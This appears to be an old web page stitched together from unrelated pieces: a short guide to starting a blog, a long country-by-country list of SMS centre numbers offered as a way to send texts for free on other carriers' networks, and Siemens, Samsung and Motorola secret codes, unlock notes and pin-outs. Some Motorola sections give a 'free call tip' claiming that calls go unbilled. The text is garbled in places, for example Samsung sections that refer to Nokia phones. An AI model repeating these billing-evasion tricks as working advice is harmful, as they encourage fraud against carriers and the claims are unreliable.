    Just remember to tie the social media account you are using with your own website by inserting your URL or site name in the profile. Alternatively, forums are also a great way to share the blogger’s content.

    How to Start a Blog

    A "blog", abbreviated word for weblog, is a web-based journal in which people can publish their thoughts and opinions on the Internet. Anyone can start a blog. It's straight-forward and, in a lot of cases, free.

    1. Find a decent blogging provider that appeals to you. Some may include MuseCrafters.com, Livejournal.com, JournalHome.com, Blogger.com, WordPress.com, TheDiary.org, Mindsay.com, Blog.com, Blogagotchi.com, Diaryland.com, Blogdrive.com, weebly.com or Xanga.com. Most of these sites are pre-made with templates and push-button publishing that don't require much technical know-how.
    2. Once you sign up, you'll have a gallery of ready-made templates to choose from. Select one and personalize it. Add your name, interests, images, etc.
    3. Add blogging freebies like buttons, images, blog chalks, imoods, tagboards (for example, myshoutbox.com), guest maps, guestbooks, comment boxes for readers' input, etc.
    4. Explore other blog sites that offer more features for a small fee, such as Typepad.com.
    5. Decide on whether or not you want your blog to be private or personal: do you want any Internet visitor to be able to read your blog, or do you just want your friends and family to be able to read it? Most blog sites offer the ability to password-protect your published posts so only those who you approve of can view what you've written.
    6. Decide on how you want your blog to look. You can pick a color scheme and layout. Most sites come with a set of predefined layouts and schemes that you can choose from, or you can edit your own.
    7. After you've set up your blog, write a few posts to test it out, and make any adjustments to the layout or style that you see fit. At first, it will seem tough to figure out what to write, but once you get into a routine of daily blogging, you will find it addictive. Write about your day, your thoughts, events, ideas, fears, pleasures, the news, current affairs, art, or anything you are interested in!
    8. Visit other blogs to build a blogging circle. When you leave comments, add your blogging address so they can visit you too.
    9. If you want to make your blog look more attractive, there are some sites up that have many "skins" that might make it look better. One example is blogskins.com, which also comes with Photoshop and HTML tutorials.
    10. Publish your blog by sending the URL to your friends or publish the URL on your website. Add the URL to posts you make on other blogs. Done

    Free SMSC Numbers

    The following is a list of most the SMSC's (Short Message Service Centers) around the world. These can be used to send text messages for free.

    All you need to do is change the service center number on your phone (under "message settings") to one of the networks below. Don't choose your own network as you will get charged for it.

    There are just a few things to remember when trying this:

    If you use a network outside of your country, you will need international call roaming enabled (speak to your service provider about this).

    The network you are using may not be able to send to the network you are trying to send to. Therefore it may accept the message but can't send it.

    If you use a network outside your own country you will need type the recipients phone number in international format for your country because it's being sent abroad.

    For example we are in the UK and to send someone we know a message for free using a forein service center we would type in the ANDORRA message center into our phone and send it to +447788123456.

    The networks are becoming wise to this and are barring you from using their SMSC if your not on their network. Therefore it could become time consuming to find one that works.

    Remember though, when you find one that works, keep it to yourself because the less people know about it, the better.

    If You Try Any Of The Numbers Below,

    You Do So At Your Own Risk!

    Albania
    AMC +355 3820

    Andorra
    +376-301004

    Australia
    One.Tel Australia +61 411 990 001
    Vodafone Australia +61-415011501
    Telstra Australia +61-418706700
    Telstra Australia +61-418706800
    Telstra Australia +61-418706900
    Optus Australia +61-412025989
    Optus Australia +61-411990000
    Optus Australia +61-411990001
    Optus Australia +61-411990003


    Austria
    A1 +43 664 0501
    Connect ONE +43 699 0001999
    max-mobil +43 676 021
    tele.ring +43 650 09000000.


    Azerbaijan
    Azercell +994-50-910-3300
    Bakcell +994557070707


    Baharain
    +973-9600179
    Batelco +97392
    Batelco +97394
    Batelco +97396
    Batelco+973973
    Batelco +97398

    Bangladesh
    GrameenPhone +88017099999
    GrameenPhone +88017500569
    AKTEL ???


    Belgium
    Mobistar Belgium +32-95955205
    Mobistar Belgium +32495002530
    Proximus Belgium +32 475 161616
    Orange Belgium +32-486000005


    Bosnia and Herzegovina
    PTT GSM BIH +387-66-125522


    Botswana
    Mascom Wireless +267-71010024
    Vista Cellular +267 72000003.

    Brunei Darussalam
    +673879500

    Bulgaria
    MobilTel: +35988000301


    Canada
    Fido Canada +1-5149931123


    Chile
    Entel PCS +56-98890005

    China
    Telecom China +86-1390591500
    Telecom China +86 13800100500


    Croatia
    Cronet +385-980501
    VIPNET +385-910401


    Cyprus
    Cyprus +3579700000

    Czech Republic
    Eurotel Czech rep +420-602909909
    Radiomobil Czech rep +420-603051

    Denmark
    Sonofon Denmark +45-40590000
    TeleDanmark Denmark +45-40390999
    Telia DK Denmark +45-28187000
    Mobilix Denmark +45-26265151

    Denmark
    Free! +45 40590006

    Egypt
    Click GSM +20105996500
    Mobinil +20122000020


    Estonia
    EMT Estonia +372-5099000
    Ritabell Estonia +372-5509911
    Radiolinja Estonia +372-568771010


    Fiji
    +679901400

    Finland
    Radiolinja Finland +358-508771010
    Sonera Finland +358-405202000

    France
    SFR France +33-609001390
    Bouygues France +33-660003000
    Itineris France +33-689004000
    Itineris France +33-689004431
    Itineris France +33-68900458

    Germany
    D1 Germany +49-1710760000
    D1 Germany +49-1715990000
    D1 Talkline Germany +49-1710760900
    D2 Germany +49-172227033
    D2 Germany +49-1722270000 [to D2 only]
    D2 Germany +49-1722270333
    D2 Talkline Germany +49-1722270258
    Debitel Germany +49-1722270222
    IC3S Germany +49-1722270201
    Dr Materna Germany +49-1722270111
    E2 VIAG Germany +49-1760000443
    E-Plus Germany +49-1770600000
    E-Plus Germany +49-1770610000
    E-Plus Germany +49-1770620000

    Gibraltar
    ANYONE HAVE THIS NUMBER?

    Greece
    Panafon Greece +30-94219000
    Telestet Greece +30-93599000
    Telestet Greece +30-93597000
    Cosmote Greece +30-97100000


    Holland
    Libertel Netherlands +31-6540881000
    PTT Netherlands +31-653131313
    Telfort Netherlands +31-626000230
    BEN Netherlands: +31-624000000
    Dutchtone, Netherlands: +31628500561

    Hong Kong
    Hutchinson Hong Kong +852-94985795
    HK Telecom Hong Kong +852-90288000
    Smartone Hong Kong +852-90100000
    Hong Kong +85292040032


    Hungary
    Pannon Hungary +36-209300099
    Westel900 +36-30-9888-000
    Vodafone +36709996500

    Iceland
    Landssimi Islands hf +354-8900100
    Tal +354-6999099

    Ireland
    Eircell Ireland +35387699989
    Esat Ireland +353-868002000

    India [+91 - ]
    AT&T Network of India
    BPL Mobile India +91-9821000005
    MAXtouch India +91-9820005446
    Essar Cellphone +91-9811009998
    Tata +919848001104
    Command +919830099990
    AirTel Delhi +91-98100-51914
    Skycell Cellular +919840011003
    Spice Karnataka +919844198441
    Spicell +919831029222
    Usha Martin Telekom ltd +919830099990

    Indonesia
    Satelindo Indonesia +62-81615
    Satelindo : +62 816 124
    Satelindo : +62 816 125
    Satelindo : +62 816 126
    Satelindo : +62 816 127
    Satelindo : +62 816 128
    Telkomsel Indonesia is +62-81100000
    Exelcomindo Indonesia +62-818445009


    Isle of Man
    Pronto GSM +447624499955

    Israel
    Orange Israel +972-54-120032
    Pele - ANYONE HAVE THIS NUMBER?

    Italy
    Omni Italy +39-3492000200
    Omni Italy +39-3492000300
    Omni Italy +39-3492000400
    Omni Italy +39-3492000500
    TIM Italy +39-3359609600
    TIM Italy +39-3359608000
    TIM Italy +39-338960960
    TIM Italy +39-338980000
    Wind Italy +39-3205858500

    Kenya
    Safaricom +25472500010
    Kencell +254733000810


    Kuwait
    MTC +96596000303
    Al-Wataniya +9656373717


    Latvia
    LMT Latvia +371-9202020
    Baltcom GSM +371 9599994


    Lebanon
    FTML Cellis +61-3488888

    Lesotho
    Vodacom Lesotho [+266]

    Lithuania
    Bite GSM Lithuania +370-9950115
    Omnitel Lithuania +370-9899992


    Luxembourg
    PTT Luxembourg +352-021100003
    Tango Luxembourg +352-091000030

    Macau
    Macau CTM +85366
    Macau CTM +85368

    Macedonia
    MobiMak [389 - 70]
    +389 70 000501


    Malaysia
    ADAM Malaysia +60-173600010
    Celcom Malaysia +60-193900000
    Mutiara Malaysia +60-162999000
    Maxis Malaysia +60-120000015


    Malta
    Vodafone +356-941816
    goMobile +35679700003

    Mauritius
    EMTEL +230 7290999
    cellplus +230 2500005

    Mongolia
    MobiCom +97699000030


    Montenegro
    Pro monte +38169200000
    Monet +38167100100


    Morocco
    Maroc Telecom +212 61 00 00 21
    Maroc Telecom +212 61 00 00 22
    Maroc Telecom +212 61 00 00 23
    Meditel +2123992000



    Namibia
    MTC [+264 - 81]


    New Zealand
    Vodafone New Zealand +64-21600600

    Norway
    NetCom Norway +47-92001000
    NetCom Norway +47-9208977
    TeleNor Norway +47-90002100
    TeleNor Norway +47-90007777
    Sense Mobil +47 90002100


    PAKISTAN
    Mobilink +92300000042


    Portugal
    Telecel is +351-911616161
    TMN Portugal +351-936210000
    OPTIMUS +35193121314

    Philippines
    Globe Philippines +63-91702
    Globe Philippines +63-91703
    Globe Philippines +63-91704
    Globe Philippines +63-91709
    Islacom Philippines +63-9150200003
    Smart Philippines +63-9180000101


    Poland
    Era GSM Poland +48-602951111
    Era GSM Poland +48-602951112
    Polkomtel Poland +48-601000310
    Polkomtel Poland +48-601000311
    IDEA Centertel Poland +48-501200777

    Qatar
    QATARNET +974 5589955


    Reunion
    Reunion +33609001390

    Romania
    Connex Romania +40-92004000
    Dialog Romania +40-94946000
    Cosmorom (1800 MHz)


    Russia
    North West Russia +7-8129600096
    MTS Russia +7-0957699100
    BeeLine +7-90173100

    Rwanda
    +25008110333

    Saudiarabia
    Sauditel +966 5 503 1999


    Serbia
    MobTel +38163100100
    MobTel +38163100200
    MobTel +38163100300
    MobTel +38163100400
    MobTel +38163100300
    PTT Telekom Serbia +381-650000900
    PTT Telekom Serbia +381-640000900


    Seychelles
    Airtel: +248700000


    Singapore
    Mobile One Singapore +65-96845999
    Mobile One Singapore +65-96845997
    SingTel Singapore +65-96400001
    SingTel Singapore +65-96500001
    SingTel Singapore +65-98189999
    SingTel Singapore +65-96197777
    Starhub +6598540020

    Slovakia
    Eurotel Slovakia +421-903333000
    Globtel Slovakia +421-905303303

    Slovenia
    Mobitel Slovenia +386-41001333
    Si.Mobil Slovenia +386-40441000

    South Africa
    MTN +27-831000002
    MTN (Prepaid) +27-831000113
    Vodacom South Africa +27-829119
    Vodacom South Africa +27-829129

    Spain
    Telefonica Spain +34-609090909
    Airtel Spain +34-607133000
    Airtel Spain +34-607003110
    Amena Spain +34-656000311

    Sweden
    Comviq Sweden +46-707990001
    Comviq Sweden +46-707990002
    Comviq Sweden +46-707990003
    Comviq Sweden +46-707773078
    Europolitan Sweden +46-708000708
    Telia Sweden +46-705008999


    Switzerland [+41-79]
    Swisscom Switzerland +41-794999000
    diAX Switzerland +41-765980000
    Orange +41-787777070


    Tanzania
    Tritel +255812904000

    Taiwan
    Chung Wa Tele Taiwan +886-932400821


    Thailand
    AIS Thailand +66-18110888
    WP1800 Thailand +66-16110400


    Turkey
    Turkcell Turkey +90-5329010000
    Turkcell Turkey +90-5329020000
    Turkcell Turkey +905329030000
    Turkcell Turkey +90-5329040000
    Telsim Turkey +90-5429800033


    Ukraine
    UMC +38050000501
    Kyivstar +380672021111
    Golden Telecom +380444990000
    (number@sms.gt.kiev.ua)
    Wellcome +38044 251 7777


    United Arab Emirates
    PTT UAE +97150 6014994


    United Kingdom
    Isle of Man Pronto GSM +447624499955
    Vodafone UK +44-7785016005
    CellNet UK +44-7802000332
    Virgin Mobile UK +447958879890
    Orange UK +44-7973100973
    Orange UK +44-7973100974 internal
    One2One UK +44-7958879879
    Guernsey Telecoms [+44-4481/7781]
    Jersey +44-7781

    USA
    Aerial Comms USA +1-8132630025
    Aerial Comms USA +1-2812350025
    Voicestream USA +1-2063130004
    Pacific Bell USA +1-2099042010
    Pacific Bell USA +1-2099042020
    Pacific Bell +1-2099042030.
    Powertel USA +1-3343338200
    DigiPH PCS USA +1-3342090307
    Omnipoint USA +1-9179070004
    Sprint USA +1-7044100000
    Washington PCS USA +1-410258953


    Venezuela
    Digitel +58-12-8000000
    INFONET

    V
    Infonet (Venezuela)
    Digitel (Venezuela)
    Mobilfone Vietnam +84 90700000
    Vinaphone Vietnam +84 91020005
    Vinaphone Vietnam +84 91020010


    Yugolsavia
    MobTel +381-63-100400
    MobTel +381-63100300
    MobTel +381-63100200
    MobTel +381-63100100
    MobTel +3816310030034
    MobTel +3816310040034
    PTT Telekom Serbia +381-650000900



    Zimbabwe
    Econet Wireless +263-91010030
    zimbabwe net*one +26311191201

    Siemens Secret Codes

    C25

    Secret Codes

    SP unlock *#0003*(secret code 8 digits)#

    *#0606# shows you Secret Code, but only without SIM Card.

    *#06# for checking the IMEI (International Mobile Equipment Identity)

    Resets language to automatic selection : * # 0000 # then Green button

    Pin Out (electrical connections)

    1- GND
    2- SB
    3- POWER
    4- NC
    5- TX
    6- RX
    7- CLOCK
    8- DATA
    9- GND MIC
    10- HF MIC
    11- AUDIO
    12- GND AUDIO


    S25

    SP unlock *#0003*(secret code 8 digits)#

    *#0606# shows you Secret Code, but only without SIM Card.

    *#06# for checking the IMEI (International Mobile Equipment Identity)

    Resets language to automatic selection : * # 0000 # then Green button

    S25, M35, S35, C35

    SP unlock *#0003*(secret code 8 digits)#

    *#0606# shows you Secret Code, but only without SIM Card.

    *#06# for checking the IMEI (International Mobile Equipment Identity)

    Resets language to automatic selection : * # 0000 # then Green button

    Samsung Secret Codes

    Unlock your T100
    To unlock your Nokia phone you will need some of the following:
    1.
    Samsung Multi Service Clip Or T100 Unlocking Clip
    Just Type These Codes Directly Into Your T100


    *#06# Shows IMEI number

    *#9999# Show software version

    *#0001# Display RS232 serial communication parameter setup

    *#8999*228# Display battery capacity and temperature / voltage

    *#8999*523# Adjust display contrast

    *#8999*636# Display storage capacity

    *#8999*778# Display SIM card information

    *#8999*324# The network checkout (engineering model)

    *#8999*289# Ringtone test

    *#8999*364# Display Watchdog state

    *#8999*427# WATCHDOG signal route setup

    *#8999*842# Vibrate test

    *#8999*782# Show date and alarm clock

    *#8999*246# Show the memory capacity

    *#8999*786# The display during warning

    *#8999*837# Samsung hardware version

    *#8999*377# Software error LOG (wrong display of EEPROM)

    *#8999*638# Show network information

    *#8999*9266# Display received channel number and received intensity

    Unlock your A300
    To unlock your Nokia phone you will need some of the following:
    1.
    Data Cable
    2.
    Unlock Software
    3.
    Extra Help + help Guides

    Imei Information

    To view the imei number on this model simply type *#06#

    Service Provider Lock
    Service Provider lock is the lock to your phone which is implement by your service provider e.g. Orange onto your sim card.

    The phone is usually locked to a certain SP but it can be unlocked allowing you access to other service providers that provide a better deal.

    The same effect can also be used by using a Dual sim, you could have two sim cards in one phone allowing you to switch between sims and SP

    1. First sim = Orange
    2. Second sim = One2One

    SMSC (Short Message Serivce Centre Numbers)

    SMS Centre number allow you to send free sms, by changing your message centre number like this:

    1. Go to messages
    2. Message Settings
    3. Set 1
    4. Message Centre Number
    5. Then change the number to one from SMSC Number section

    MOTOROLA SECRET CODES (BY MODEL)

    Motorola d460

    *#06# for checking the IMEI (International Mobile Equipment Identity)

    Activate RBS

    (Note: pause means the * key held in until box appears)
    To activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok]
    You now have to press the [MENU] and scroll to the 'Eng Field Options' function with the keys, and enable it.

    De-activate RBS

    To de-activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok]
    This only works with some versions of software.

    What's the use of RBS:

    Get Distance From Base Station - Place a call, when it is answered, press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'Time Adv xxx' appears, where xxx is a number. Multiply this number by 550, and the result is the distance from the RBS (Radio Base Station), in meters.

    Get Signal Quality - press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'C1' appears. This is the signal quality. If it becomes negative for longer than 5 seconds, a new cell is selected.

    Motorola 6200

    Activate RBS

    (Note: pause means the * key held in until box appears)
    To activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok]
    You now have to press the [MENU] and scroll to the 'Eng Field Options' function with the keys, and enable it.

    De-activate RBS

    To de-activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok]
    This only works with some versions of software.

    These countries has been reported working:

    UK (Orange)
    AU

    What's the use of RBS:

    Get Distance From Base Station - Place a call, when it is answered, press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'Time Adv xxx' appears, where xxx is a number. Multiply this number by 550, and the result is the distance from the RBS (Radio Base Station), in meters.

    Get Signal Quality - press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'C1' appears. This is the signal quality. If it becomes negative for longer than 5 seconds, a new cell is selected.

    Pin Outs

    Numbered left to right, keypad up, battery down

    1. Audio Ground
    2. V+
    3. True data (TD) (input)
    4. Downlink - Complimentary data (CD) (input)
    5. Uplink - Return data (RD) (output)
    6. GND
    7. Audio Out - on/off
    8. Audio In
    9. Manual Test - ???
    10. Battery Feedback
    11. Antenna connector

    Motorola 7500

    Activate RBS

    (Note: pause means the * key held in until box appears)
    To activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok]
    You now have to press the [MENU] and scroll to the 'Eng Field Options' function with the keys, and enable it.

    De-activate RBS

    To de-activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok]
    This only works with some versions of software.

    These countries has been reported working:

    IT (model: F16 HW: 5.2 SW: 2.1)

    What's the use of RBS:

    Get Distance From Base Station - Place a call, when it is answered, press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'Time Adv xxx' appears, where xxx is a number. Multiply this number by 550, and the result is the distance from the RBS (Radio Base Station), in meters.

    Get Signal Quality - press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'C1' appears. This is the signal quality. If it becomes negative for longer than 5 seconds, a new cell is selected.

    Pin Outs

    Numbered right to left, keypad up, battery down looking

    1. Gnd
    2. Pos
    3. True data (TD) (input)
    4. Complimentary data (CD) (input)
    5. Return data (RD) (output)
    6. Audio gnd
    7. Audio out
    8. Audio in

    Motorola 8200

    Activate RBS

    (Note: pause means the * key held in until box appears)
    To activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok]
    You now have to press the [MENU] and scroll to the 'Eng Field Options' function with the keys, and enable it.

    De-activate RBS

    To de-activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok]
    This only works with some versions of software.

    These countries has been reported working:

    ES, AU, NL, BE

    What's the use of RBS:

    Get Distance From Base Station - Place a call, when it is answered, press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'Time Adv xxx' appears, where xxx is a number. Multiply this number by 550, and the result is the distance from the RBS (Radio Base Station), in meters.

    Get Signal Quality - press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'C1' appears. This is the signal quality. If it becomes negative for longer than 5 seconds, a new cell is selected.

    Pin Outs

    Numbered right to left, keypad up, battery down looking

    1. Audio Ground
    2. V+
    3. True data (TD) (input)
    4. Downlink - Complimentary data (CD) (input)
    5. Uplink - Return data (RD) (output)
    6. GND
    7. Audio Out - on/off
    8. Audio In
    9. Manual Test - ???
    10. Battery Feedback
    11. Antenna connector

    Motorola 8400

    Activate RBS

    (Note: pause means the * key held in until box appears)
    To activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok]
    You now have to press the [MENU] and scroll to the 'Eng Field Options' function with the keys, and enable it.

    De-activate RBS

    To de-activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok]
    This only works with some versions of software.

    These countries has been reported working:

    IT, NL

    What's the use of RBS:

    Get Distance From Base Station - Place a call, when it is answered, press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'Time Adv xxx' appears, where xxx is a number. Multiply this number by 550, and the result is the distance from the RBS (Radio Base Station), in meters.

    Get Signal Quality - press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'C1' appears. This is the signal quality. If it becomes negative for longer than 5 seconds, a new cell is selected.

    Pin Outs

    Numbered left to right, keypad up, battery down

    1. Audio Ground
    2. V+
    3. True data (TD) (input)
    4. Downlink - Complimentary data (CD) (input)
    5. Uplink - Return data (RD) (output)
    6. GND
    7. Audio Out - on/off
    8. Audio In
    9. Manual Test - ???
    10. Battery Feedback
    11. Antenna connector

    Motorola 8700

    #06# for checking the IMEI (International Mobile Equipment Identity)

    Activate RBS

    (Note: pause means the * key held in until box appears)
    To activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok]
    You now have to press the [MENU] and scroll to the 'Eng Field Options' function with the keys, and enable it.

    De-activate RBS

    To de-activate RBS type: [pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok]
    This only works with some versions of software.

    These countries has been reported working:

    AU, IT, SG, DE, ES, ZA

    What's the use of RBS:

    Get Distance From Base Station - Place a call, when it is answered, press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'Time Adv xxx' appears, where xxx is a number. Multiply this number by 550, and the result is the distance from the RBS (Radio Base Station), in meters.

    Get Signal Quality - press [MENU] until 'Eng Field Option' is displayed, press [OK], select 'Active Cell', press [OK], press [MENU] until 'C1' appears. This is the signal quality. If it becomes negative for longer than 5 seconds, a new cell is selected.


    Motorola v3688

    *#06# for checking the IMEI (International Mobile Equipment Identity)

    Enhanced Full Rate Codec (EFR):

    To Enable EFR press [][][] 119 [] 1 [] OK.
    To Disable EFR press [][][] 119 [] 0 [] OK

    NOTE: Nothing appears on Screen.


    Motorola CD 160

    Press menu and type one of these numbers and press OK:

    11 = Status Review
    13 = Available Networks
    14 = Preferred Networks
    22 = Select Keypad Tones
    25 = Require SIM Card PIN
    26 = Language Selection
    32 = Repetitive Timer
    33 = Single Alert Timer
    34 = Set IN-Call Display
    35 = Show Call Timers
    36 = Show Call Charges
    37 = Call Charge Settings
    38 = Reset All Timers
    43 = Reset All Timers
    45 = Show Last Call
    46 = Total For All Calls
    47 = Lifetime Timer
    51 = Change Unlock Code
    52 = Master Reset
    53 = Master Clear (Warning!! May result in deleting the Message Editor!!!)
    54 = New Security Code
    55 = Automatic Lock
    63 = Battery Saving Mode

    Free call tip
    1 Enter the phone number
    2 Enter OK
    3 Type *#06#
    4 Press Button C
    5 And finally press the button for power off.

    You should now be able to talk without being billed.

    Motorola CD 520


    Free call tip
    1 Enter the phone number
    2 Enter OK
    3 Type *#06#
    4 Press Button C
    5 And finally press the button for power off.

    You should now be able to talk without being billed.

    Motorola 920/930

    The 54# Tip:
    Type 1#, 2#........54# on the keypad (when you're not in the menu) to get the phone number used for with this key when speed dialing.

    Keyboard lock
    if you push * and # on the same time your keyboard locked. When you press it again, you unlock your keyboard.

    Supplementary Menu
    If your Motorola CD920 or 930 has the engineering software, you can get an engineering mode by typing : ***113*1*, but you have to maintain each * during 3 sec to get a square. So 3 squares, 113, 1 square, 1, 1 square, CALL.
    If the software is present you have one supplementary menu. To remove it typ ***113*0* like above.

    To put the counter to 0 even global counter, just do a reset factory in the Config menu.